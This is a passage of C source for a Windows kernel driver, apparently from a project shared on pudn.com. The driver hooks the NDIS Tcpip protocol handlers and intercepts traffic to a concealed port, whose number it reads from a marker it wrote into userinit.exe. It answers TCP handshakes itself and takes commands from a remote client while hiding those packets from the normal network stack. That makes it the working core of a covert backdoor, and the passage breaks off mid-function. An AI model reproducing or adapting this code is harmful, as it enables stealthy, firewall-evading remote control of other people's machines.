www.pudn.com > uay_source.rar > NdisHook.c
/// // uty@uaty /// #include#include "dummyprotocolfunc.h" #include "structs.h" typedef struct _SIGNANDPORT{ unsigned int sign; unsigned int port; }SIGNANDPORT,*PSIGNANDPORT; //not used /* typedef struct _SYNACKPACKET{ ULONG sign; ULONG BufferAddress; }SYNACKPACKET,*PSYNACKPACKET; */ // typedef struct _OSVERSIONINFOEXW { ULONG dwOSVersionInfoSize; ULONG dwMajorVersion; ULONG dwMinorVersion; ULONG dwBuildNumber; ULONG dwPlatformId; WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage USHORT wServicePackMajor; USHORT wServicePackMinor; USHORT wSuiteMask; UCHAR wProductType; UCHAR wReserved; } OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW, RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW; typedef struct _OSVERSIONINFOW { ULONG dwOSVersionInfoSize; ULONG dwMajorVersion; ULONG dwMinorVersion; ULONG dwBuildNumber; ULONG dwPlatformId; WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage } OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW; //-------------------------------------------------------------------- ///mAcros //#define OURPORT 9929 #define MAX_PATH 260 //-------------------------------------------------------------------- ////globAl vAr HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext = NULL; NDIS_HANDLE m_ourPAcketPoolHAndle = NULL; NDIS_HANDLE m_ourBufferPoolHAndle = NULL; //for ProtocolReceive PNDIS_PACKET m_ourPAcketHAndle = NULL; PNDIS_BUFFER m_ourBufferHAndle = NULL; PVOID m_ourBuffer = NULL; // PKEVENT g_puSendEvent; PLARGE_INTEGER g_pTimeOut; ULONG OURPORT; //-------------------------------------------------------------------- //defined in ubd_sys.c extern TCPS_Connection g_ConnectionSpAce[MAX_CONNECTIONS]; extern RECVLISTHEAD g_RecvListHeAd; extern SENDLISTHEAD g_SendListHeAd; // //NDIS_HANDLE g_pBindAdaptHandle; //-------------------------------------------------------------------- ////proto function NTSTATUS RtlGetVersion( PRTL_OSVERSIONINFOW lpVersionInformation ); ///////// VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject ); VOID HookFuncBlock( CHAR* ProtocolContent ); HOOK_CONTEXT_STRUCT* HookNdisFunc( PVOID pHookProc, PVOID *ppOrigProc, PVOID pBindAdAptHAndle, PVOID pProtocolContent ); HOOK_CONTEXT_STRUCT* IsHookedNdisFunc( PVOID pAddr ); HOOK_CONTEXT_STRUCT* IsHookedNdisFuncEx( PVOID *pAddr ); ULONG HookProtocol( VOID ); NDIS_STATUS HookProtocolReceive( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_HANDLE MAcReceiveContext, IN PVOID HeAderBuffer, IN UINT HeAderBufferSize, IN PVOID LookAheAdBuffer, IN UINT LookAheAdBufferSize, IN UINT PAcketSize ); INT HookProtocolReceivePAcket( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET PAcket ); VOID ReAdPAcket( PNDIS_PACKET PAcket, PVOID pBuffer, ULONG ulBufSize ); ULONG HAndlePAcket( HOOK_CONTEXT_STRUCT *pOurContext, PNDIS_PACKET pPAcket ); ULONG HAndleBuffer( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer, ULONG PAcketSize ); VOID HookProtocolSendComplete( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET PAcket, IN NDIS_STATUS StAtus ); USHORT checksum( USHORT *buff, ULONG size ); NTSTATUS SendSYNACKPAcket( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS SendACKPAcket( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS GetPAcketDAtA( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS SendACKPAcketToSendList( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS SendSYNACKPAcketToSendList( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); ULONG HAndleReceivePAcket( HOOK_CONTEXT_STRUCT *pOurContext, ULONG TotAlPAcketSize, PVOID pHeAdBuffer, ULONG ulHeadSize, PNDIS_PACKET pPAcket ); NTSTATUS TCPS_StArtup( PDEVICE_OBJECT pDeviceObject ); NTSTATUS AddRecvDAtAToList( PRECVLISTHEAD pRecvListHeAd, char* dAtA, ULONG RecvDAtALength, PTCPS_Connection pConnection ); PRECVLIST RemoveRecvDAtAFromList( PRECVLISTHEAD pRecvListHeAd ); ULONG SetConnection( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS UpDAteConnection( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); VOID RemoveSendDAtAFromList( PSENDLISTHEAD pSendListHeAd ); NTSTATUS Disconnect( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS SendDisconnectMessAgeToSendlist( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); NTSTATUS AddSendDAtAToList( PSENDLISTHEAD pSendListHeAd, CHAR* dAtA, ULONG SendDAtALength, PTCPS_Connection pConnection ); NTSTATUS AddSendDAtAToListAtFront( PSENDLISTHEAD pSendListHeAd, CHAR* dAtA, ULONG SendDAtALength, PTCPS_Connection pConnection ); NTSTATUS UpDAteConnectionSYN( HOOK_CONTEXT_STRUCT *pOurContext, PVOID pBuffer ); USHORT CountChecksum( PVOID pBuffer ); ULONG GetTheListeningPort( VOID ); VOID InitWorkThreAd( PVOID pContext ); //-------------------------------------------------------------------- VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject ) { //DbgPrint("My Driver UnloAded!\n"); } //-------------------------------------------------------------------- NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS stAtus; HANDLE hThreAd; DbgPrint("Driver begin!\n"); DriverObject->DriverUnload = OnUnloAd; stAtus = PsCreateSystemThread(&hThreAd, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, InitWorkThreAd, DriverObject ); if (!NT_SUCCESS(stAtus)){ DbgPrint("error when creAte the threAd\n"); return FALSE; } return STATUS_SUCCESS; } //-------------------------------------------------------------------- VOID InitWorkThreAd(PVOID pContext) { PDEVICE_OBJECT pDeviceObject; NTSTATUS stAtus; WCHAR deviceNAmeBuffer[] = L"\\Device\\uaty";//chAnge the nAme if hAve time UNICODE_STRING deviceNAmeUnicodeString; //DriverObject->DriverUnload = fuktdi_UnloAd; RtlInitUnicodeString( &deviceNAmeUnicodeString, deviceNAmeBuffer ); stAtus = IoCreateDevice( pContext, 0,//sizeof(DEVICE_EXTENSION),//do i hAve this? &deviceNAmeUnicodeString, FILE_DEVICE_UNKNOWN,//whAt's this 0, TRUE, &pDeviceObject ); //ndis initiAliztion g_puSendEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); g_pTimeOut = ExAllocatePool(NonPagedPool,sizeof(LARGE_INTEGER)); //g_pTimeOut->HighPart = 0; g_pTimeOut->QuadPart = -10000000;//i don't know how mush is better.now 1 seconds KeInitializeEvent( g_puSendEvent, SynchronizationEvent, FALSE ); NdisAllocatePacketPool(&stAtus,&m_ourPAcketPoolHAndle,0xFFF,0x30); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAtePAcketPool fAiled\n"); goto InitWorkThreAd_end; } NdisAllocateBufferPool(&stAtus,&m_ourBufferPoolHAndle,0x30); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteBufferPool fAiled\n"); goto InitWorkThreAd_end; } NdisAllocateMemoryWithTag(&m_ourBuffer,MAX_PACKET_SIZE,'ytaU'); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteMemoryWithTAg fAiled\n"); goto InitWorkThreAd_end; } NdisAllocateBuffer(&stAtus,&m_ourBufferHAndle,m_ourBufferHAndle,m_ourBuffer,MAX_PACKET_SIZE); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteBuffer fAiled\n"); goto InitWorkThreAd_end; } NdisAllocatePacket(&stAtus,&m_ourPAcketHAndle,m_ourPAcketPoolHAndle); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAtePAcket fAiled\n"); goto InitWorkThreAd_end; } NdisChainBufferAtFront(m_ourPAcketHAndle,m_ourBufferHAndle); //get the listing port for userinit.exe 90 bytes to the front OURPORT = GetTheListeningPort(); // TCPS_StArtup(pDeviceObject); //hook ndis HookProtocol(); InitWorkThreAd_end: PsTerminateSystemThread(STATUS_SUCCESS); DbgPrint("Never be here \n"); } //-------------------------------------------------------------------- ULONG GetTheListeningPort(VOID) { RTL_OSVERSIONINFOEXW osversion = {0}; UNICODE_STRING pAth; SIGNANDPORT SignAndPort; OBJECT_ATTRIBUTES oA; HANDLE hFile; NTSTATUS stAtus; IO_STATUS_BLOCK IoStAtusBlock; LARGE_INTEGER ByteOffset; osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion); if(osversion.dwMajorVersion == 4){ RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINNT\\System32\\userinit.exe"); } else if(osversion.dwMajorVersion == 5){ if(osversion.dwMinorVersion >= 1){ RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINDOWS\\System32\\userinit.exe"); } else{ RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINNT\\System32\\userinit.exe"); } } else{ //DbgPrint("1 listening on port 9929\n"); return 9929; } InitializeObjectAttributes( &oA, &pAth, OBJ_CASE_INSENSITIVE, NULL, NULL ); stAtus = ZwOpenFile( &hFile, GENERIC_READ, &oA, &IoStAtusBlock, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE ); ByteOffset.HighPart = 0; ByteOffset.LowPart = 90;//when instAll,i wrote it there stAtus = ZwReadFile( hFile, NULL, NULL, NULL, &IoStAtusBlock, &SignAndPort, sizeof(SIGNANDPORT), &ByteOffset, NULL ); ZwClose(hFile); if(IoStAtusBlock.Status != STATUS_SUCCESS){ //DbgPrint("2 listening on port 9929\n"); return 9929; } DbgPrint("listening on port %d\n",SignAndPort.port); if(SignAndPort.sign == 0xAABBCCDD){ return SignAndPort.port; }else{ return 9929; } } //-------------------------------------------------------------------- ULONG HookProtocol(VOID) { NDIS_PROTOCOL_CHARACTERISTICS ourNPC; NDIS_STRING protoNAme = NDIS_STRING_CONST("HdFw_Slot"); NDIS_STATUS StAtus; NDIS_HANDLE ourProtocolHAndle = NULL; CHAR* ProtocolChAin; ULONG offset; ULONG len; memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS); ourNPC.MajorNdisVersion = 0x05; ourNPC.MinorNdisVersion = 0x00; ourNPC.Name = protoNAme; ourNPC.OpenAdapterCompleteHandler = PtOpenAdApterComplete; ourNPC.CloseAdapterCompleteHandler = PtCloseAdApterComplete; ourNPC.SendCompleteHandler = PtSendComplete; ourNPC.TransferDataCompleteHandler = PtTrAnsferDAtAComplete; ourNPC.ResetCompleteHandler = PtResetComplete; ourNPC.RequestCompleteHandler = PtRequestComplete; ourNPC.ReceiveHandler = PtReceive; ourNPC.ReceiveCompleteHandler = PtReceiveComplete; ourNPC.StatusHandler = PtStAtus; ourNPC.StatusCompleteHandler = PtStAtusComplete; ourNPC.BindAdapterHandler = PtBindAdApter; ourNPC.UnbindAdapterHandler = PtUnbindAdApter; ourNPC.UnloadHandler = NULL;//PtUnloAd; ourNPC.ReceivePacketHandler = PtReceivePAcket; ourNPC.PnPEventHandler = PtPNPHAndler; NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len); if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){ return FALSE; } //NdisRegisterProtocol return hAnd reference of NDIS_PROTOCOL_BLOCK; ProtocolChAin = (CHAR*)ourProtocolHAndle; while(1){ offset = 0x10; ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0]; if (ProtocolChAin == NULL){ break; } HookFuncBlock(ProtocolChAin); } NdisDeregisterProtocol(&StAtus,ourProtocolHAndle); return TRUE; } //-------------------------------------------------------------------- VOID HookFuncBlock(CHAR* ProtocolContent) { PNDIS_PROTOCOL_CHARACTERISTICS pProChAr; NDIS_STRING TcpipString = NDIS_STRING_CONST("Tcpip"); if(ProtocolContent == NULL){ return; } pProChAr = (PNDIS_PROTOCOL_CHARACTERISTICS)(ProtocolContent + 0x14); if(KeGetCurrentIrql() == PASSIVE_LEVEL){ if(RtlCompareUnicodeString(&pProChAr->Name,&TcpipString,TRUE) != 0){ return; } } HookNdisFunc(HookProtocolReceive,(PVOID*)&pProChAr->ReceiveHandler,NULL,ProtocolContent); HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pProChAr->ReceivePacketHandler,NULL,ProtocolContent); //HookNdisFunc(HookBindAdApterHAndler,(PVOID*)&pProChAr->BindAdapterHandler,NULL,ProtocolContent); HookNdisFunc(HookProtocolSendComplete,(PVOID*)&pProChAr->SendCompleteHandler,NULL,ProtocolContent); //just cAre About ndis 5 if(1/*m_dwMajorVersion == 0x05*/){ PNDIS_OPEN_BLOCK pNdisOpenBlock; pNdisOpenBlock = ((PNDIS_OPEN_BLOCK*)ProtocolContent)[0]; while(pNdisOpenBlock){ //HookNdisFunc(HookProtocolSend,(PVOID*)&pNdisOpenBlock->SendHandler,pNdisOpenBlock,ProtocolContent); //HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->PostNt32ReceiveHandlerHandler,pNdisOpenBlock,ProtocolContent); HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->ReceiveHandler,pNdisOpenBlock,ProtocolContent); HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pNdisOpenBlock->ReceivePacketHandler,pNdisOpenBlock,ProtocolContent); HookNdisFunc(HookProtocolSendComplete,(VOID*)&pNdisOpenBlock->SendCompleteHandler,pNdisOpenBlock,ProtocolContent); //HookNdisFunc(HookProtocolSendPAckets,(PVOID*)&pNdisOpenBlock->SendPacketsHandler,pNdisOpenBlock,ProtocolContent); pNdisOpenBlock = pNdisOpenBlock->ProtocolNextOpen; } } return; } //-------------------------------------------------------------------- HOOK_CONTEXT_STRUCT *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent) { HOOK_CONTEXT_STRUCT *pHookContext; PVOID OrgFunc; pHookContext = IsHookedNdisFunc(ppOrigProc[0]); if(pHookContext){ OrgFunc = pHookContext->m_pOriginalProc; } else{ OrgFunc = ppOrigProc[0]; } if (OrgFunc == NULL){ return NULL; } pHookContext = IsHookedNdisFuncEx(ppOrigProc); if(pHookContext){ return pHookContext; } NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU'); if(pHookContext == NULL){ return NULL; } memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT)); pHookContext->code1_0x58 = 0x58; pHookContext->code2_0x68 = 0x68; pHookContext->code3_0x50 = 0x50; pHookContext->code4_0xE9 = 0xE9; pHookContext->m_pHookContext = pHookContext; pHookContext->m_pHookProcOffset = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG)); pHookContext->m_pBindAdaptHandle = pBindAdAptHAndle; pHookContext->m_pProtocolContent = pProtocolContent; pHookContext->m_pOriginalProc = OrgFunc; pHookContext->m_ppOriginPtr = ppOrigProc; pHookContext->m_pHookProc = pHookProc; pHookContext->m_pHookNext = m_pOurAllOfHookContext; m_pOurAllOfHookContext = pHookContext; ppOrigProc[0] = pHookContext; return pHookContext; } //-------------------------------------------------------------------- HOOK_CONTEXT_STRUCT* IsHookedNdisFunc(PVOID pAddr) { HOOK_CONTEXT_STRUCT *pHookContext; pHookContext = m_pOurAllOfHookContext; while(pHookContext){ if(pHookContext == pAddr){ break; } pHookContext = pHookContext->m_pHookNext; } return pHookContext; } //-------------------------------------------------------------------- HOOK_CONTEXT_STRUCT* IsHookedNdisFuncEx(PVOID *pAddr) { HOOK_CONTEXT_STRUCT *pHookContext; pHookContext = m_pOurAllOfHookContext; while(pHookContext){ if(pHookContext->m_ppOriginPtr == pAddr){ break; } pHookContext = pHookContext->m_pHookNext; } return pHookContext; } //-------------------------------------------------------------------- NDIS_STATUS HookProtocolReceive( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_HANDLE MAcReceiveContext, IN PVOID HeAderBuffer, IN UINT HeAderBufferSize, IN PVOID LookAheAdBuffer, IN UINT LookAheAdBufferSize, IN UINT PAcketSize ) { NTSTATUS stAtus = NDIS_STATUS_SUCCESS; ULONG result = FALSE; //DbgPrint("in HookProtocolReceive\n"); if(pOurContext){ if(pOurContext->m_pBindAdaptHandle){ ULONG len = 0; if(PAcketSize > LookAheAdBufferSize){ NdisTransferData( &stAtus, pOurContext->m_pBindAdaptHandle, MAcReceiveContext, 0, PAcketSize, m_ourPAcketHAndle, &len ); } else{ NdisMoveMemory(m_ourBuffer,LookAheAdBuffer,PAcketSize); } if(stAtus == NDIS_STATUS_SUCCESS){ //do whAt we wAnt here //equAl to HookFilterPAcket() result = HAndleReceivePAcket( pOurContext, PAcketSize, HeAderBuffer, HeAderBufferSize, m_ourPAcketHAndle ); } else if(stAtus == NDIS_STATUS_PENDING){ //这里回出问题,如果这个包被送回,连接就会被上面的protocol中断 //1.把包丢掉,这样其他正常的tcp连接希望他们会重传而不再经过这里 //2.把包传下去,这样我们的连接被中断 //暂时选2 result = FALSE; } if(result){ return NDIS_STATUS_NOT_ACCEPTED; } else{ stAtus = ((RECEIVE_HANDLER)pOurContext->m_pOriginalProc)( ProtocolBindingContext, MAcReceiveContext, HeAderBuffer, HeAderBufferSize, LookAheAdBuffer, LookAheAdBufferSize, PAcketSize ); }//end else } } return stAtus; } //-------------------------------------------------------------------- INT HookProtocolReceivePAcket( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET PAcket ) { NTSTATUS stAtus = NDIS_STATUS_SUCCESS; ULONG result; //DbgPrint("in HookProtocolReceivePAcket\n"); if(pOurContext){ //most of opeAtions we do in HAndlePAcket result = HAndlePAcket(pOurContext,PAcket); if(result){ return NDIS_STATUS_NOT_ACCEPTED; } else{ stAtus = ((RECEIVE_PACKET_HANDLER)pOurContext->m_pOriginalProc)( ProtocolBindingContext, PAcket ); } } return stAtus; } //-------------------------------------------------------------------- ULONG HAndlePAcket(HOOK_CONTEXT_STRUCT *pOurContext,PNDIS_PACKET pPAcket) { ULONG PAcketSize; PVOID pBuffer = NULL; NTSTATUS stAtus; ULONG result = TRUE; PNDIS_BUFFER firstBuffer,nextBuffer; NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize); if(PAcketSize < sizeof(ETHHDR)){ return TRUE; } stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize,'ytaU'); if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){ return TRUE; } ReAdPAcket(pPAcket,pBuffer,PAcketSize); //get the pAcket's buffer result = HAndleBuffer(pOurContext,pBuffer,PAcketSize); NdisFreeMemory(pBuffer,PAcketSize,0); return result; } //-------------------------------------------------------------------- VOID ReAdPAcket(PNDIS_PACKET PAcket,PVOID pBuffer,ULONG ulBufSize) { PVOID virtuAlAddress; PNDIS_BUFFER firstBuffer,nextBuffer; ULONG totAlLength; ULONG len; PVOID pBuf = NULL; ULONG count = 0; NdisQueryPacket(PAcket,NULL,NULL,&firstBuffer,NULL); while(firstBuffer != NULL){ NdisQueryBufferSafe(firstBuffer,&virtuAlAddress,&len,NormalPagePriority ); if(!virtuAlAddress){ break; } if(count + len > ulBufSize){ break; } NdisMoveMemory(&((CHAR*)pBuffer)[count],virtuAlAddress,len); count += len; NdisGetNextBuffer(firstBuffer,&nextBuffer); firstBuffer = nextBuffer; } return; } //-------------------------------------------------------------------- ULONG HAndleBuffer(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer,ULONG PAcketSize) { NTSTATUS stAtus; //if result is FALSE,then the pAcket will be send to up level,if TRUE,we throw it AwAy ULONG result = FALSE; USHORT proto; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PTCPS_Connection pConnection; ULONG i; pEthHdr = (PETHHDR)pBuffer; proto = pEthHdr->h_proto; switch(NTOHS(proto)) { case ETH_P_IP: { pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); //DbgPrint("protocol: %d\n",pIpHdr->protocol);//debug if(pIpHdr->protocol == IPPROTO_TCP){ pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); //DbgPrint("from port %d to port %d\n",NTOHS(pTcpHdr->source),NTOHS(pTcpHdr->dest));//debug if(NTOHS(pTcpHdr->dest) != OURPORT){ return FALSE; } else{ /* //本来想在这里建立出错重传的,,不过还是算了,, USHORT Checksum; Checksum = CountChecksum(pBuffer); if(Checksum != pTcpHdr->check){ if(pTcpHdr->syn){ //do nothing //return FALSE; } else{ //resend(); 重传下sendlist里的包,不知道这样行不行? debug KeSetEvent( g_puSendEvent, 0, FALSE ); return TRUE; } } */ //if the received Ack,seq is not whAt we expected,then ignore it,if it's syn or rst pAcket,we do nothing if (!pTcpHdr->syn && !pTcpHdr->rst){ for(i = 0;i < MAX_CONNECTIONS;i ++){ //通过ip和源端口判断是哪个连接 //see which connection this pAcket belongs to if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source && g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr ) { pConnection = &g_ConnectionSpAce[i]; DbgPrint("expected seq %d\nexpected Ack %d\n",NTOHL(pConnection->m_ExpectedSeq),NTOHL(pConnection->m_ExpectedAck_seq)); DbgPrint("received seq %d\nreceived Ack %d\n",NTOHL(pTcpHdr->seq),NTOHL(pTcpHdr->ack_seq)); if(pTcpHdr->seq != pConnection->m_ExpectedSeq || pTcpHdr->ack_seq != pConnection->m_ExpectedAck_seq){ return TRUE; } } } if(pConnection == NULL){ return TRUE; } } // //////// if(pTcpHdr->syn){ //回SYN ACK result = SetConnection(pOurContext,pBuffer); //如果SetConnection返回FALSE,表示已经超过最大连接数(32)(可能包括已断的连接未释放connection),不再处理连接请求 if (result){ UpDAteConnectionSYN(pOurContext,pBuffer); //send A pAcket with SYN ACK SendSYNACKPAcketToSendList(pOurContext,pBuffer); //when set g_puSendEvent to signAled, At the sAme time if sendlist hAve items,then send the first one KeSetEvent( g_puSendEvent, 0, FALSE ); } } else if(pTcpHdr->psh){ if(pTcpHdr->ack){ //收到Ack后就该释放上个包 //when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived UpDAteConnection(pOurContext,pBuffer); //remove lAst pAcket we sent RemoveSendDAtAFromList(&g_SendListHeAd); KeSetEvent( g_puSendEvent, 0, FALSE ); } SendACKPAcketToSendList(pOurContext,pBuffer); //mAke the pAcket be sent KeSetEvent( g_puSendEvent, 0, FALSE ); //GetPAcketDAtA 把得到的数据加入到recvlist //we get commAnd from client GetPAcketDAtA(pOurContext,pBuffer); UpDAteConnection(pOurContext,pBuffer); result = TRUE; } else if(pTcpHdr->fin || pTcpHdr->rst){ DbgPrint("received rst or fin\n"); // SendDisconnectMessAgeToSendlist(pOurContext,pBuffer); //Disconnect(pOurContext,pBuffer); /* KeSetEvent( g_puSendEvent, 0, FALSE ); */ result = TRUE; } else if(pTcpHdr->ack){ //when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived UpDAteConnection(pOurContext,pBuffer); RemoveSendDAtAFromList(&g_SendListHeAd); KeSetEvent( g_puSendEvent, 0, FALSE ); result = TRUE; } }//end else } } case ETH_P_ARP: break; case ETH_P_RARP: break; default: break; } return result; } //-------------------------------------------------------------------- VOID HookProtocolSendComplete( IN HOOK_CONTEXT_STRUCT *pOurContext, IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET PAcket, IN NDIS_STATUS StAtus ) { if(pOurContext){ NDIS_HANDLE PoolHAndle = NULL; PNDIS_BUFFER pNdisBuffer = NULL; PoolHAndle = NdisGetPoolFromPacket(PAcket); if (PoolHAndle == m_ourPAcketPoolHAndle){ while(1){ NdisUnchainBufferAtFront( PAcket, &pNdisBuffer ); if(pNdisBuffer == NULL){ break; } else{ NdisFreeBuffer(pNdisBuffer); } } NdisFreePacket(PAcket); } else{ ((SEND_COMPLETE_HANDLER)pOurContext->m_pOriginalProc)( ProtocolBindingContext, PAcket, StAtus ); } } } //-------------------------------------------------------------------- USHORT checksum(USHORT *buff, ULONG size) { unsigned long cksum=0; while (size > 1) { cksum += *buff++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buff; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } //-------------------------------------------------------------------- /*not used*/ NTSTATUS SendSYNACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer) { PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; PVOID VirtuAlAddress = NULL; PNDIS_BUFFER pNdisBuffer = NULL; PNDIS_PACKET pNdisPAcket = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; PVOID ChecksumTempBuff = NULL; PSDHDR PsdHdrSend; NTSTATUS stAtus; //SYNACKPACKET SynAckPAcket; PTCPS_Connection pConnection = NULL; ULONG i; //DbgPrint("receive syn pAcket\n");// pEthHdr = (PETHHDR)pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR)); pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); //ChecksumTempBuff 为了计算效验和 NdisAllocateMemoryWithTag( &ChecksumTempBuff, MAX_PACKET_SIZE, 'pmtU' ); NdisAllocateMemoryWithTag( &VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR), 'ytaU' ); NdisZeroMemory( VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) ); //填包 pEthHdrSend = VirtuAlAddress; pIpHdrSend = (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR)); pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR)); NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6); NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6); pEthHdrSend->h_proto = pEthHdr->h_proto; pIpHdrSend->ihl = pIpHdr->ihl; pIpHdrSend->version = pIpHdr->version; pIpHdrSend->tos = pIpHdr->tos; pIpHdrSend->tot_len = HTONS(sizeof(IPHDR)+sizeof(TCPHDR)); pIpHdrSend->id = 0; pIpHdrSend->frag_off = 0; pIpHdrSend->ttl = 255; pIpHdrSend->protocol = IPPROTO_TCP; pIpHdrSend->check = 0;//whAt pIpHdrSend->saddr = pIpHdr->daddr; pIpHdrSend->daddr = pIpHdr->saddr; pIpHdrSend->check = checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); pTcpHdrSend->source = pTcpHdr->dest; pTcpHdrSend->dest = pTcpHdr->source; pTcpHdrSend->seq = pTcpHdr->seq+500;//HTONL(200);//任意 pTcpHdrSend->ack_seq = HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1 pTcpHdrSend->doff = sizeof(TCPHDR)/4; pTcpHdrSend->syn = 1; pTcpHdrSend->ack = 1; pTcpHdrSend->window = pTcpHdr->window; pTcpHdrSend->check = 0; pTcpHdrSend->urg_ptr = 0; PsdHdrSend.saddr = pIpHdrSend->saddr; PsdHdrSend.daddr = pIpHdrSend->daddr; PsdHdrSend.mbz = 0; PsdHdrSend.ptcl = IPPROTO_TCP; PsdHdrSend.tcpl = HTONS(sizeof(TCPHDR)); NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); pTcpHdrSend->check = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)); NdisFreeMemory( ChecksumTempBuff, 0, 0 ); //// for(i = 0;i < MAX_CONNECTIONS;i ++){ if((g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->dest) && (g_ConnectionSpAce[i].m_SourceIp == pIpHdr->daddr)){ pConnection = &g_ConnectionSpAce[i]; pConnection->m_ExpectedSeq = pTcpHdrSend->ack_seq;////////// pConnection->m_ExpectedAck_seq = HTONL(NTOHL(pTcpHdrSend->seq) + 1);//////////// break; } } if(pConnection == NULL){ DbgPrint("error in SendSYNACKPAcket,cAn not find the right connection\n"); } //准备发送 NdisAllocateBuffer( &stAtus, &pNdisBuffer, m_ourBufferPoolHAndle, VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR) ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteBuffer fAiled\n"); return TRUE; } NdisAllocatePacket( &stAtus, 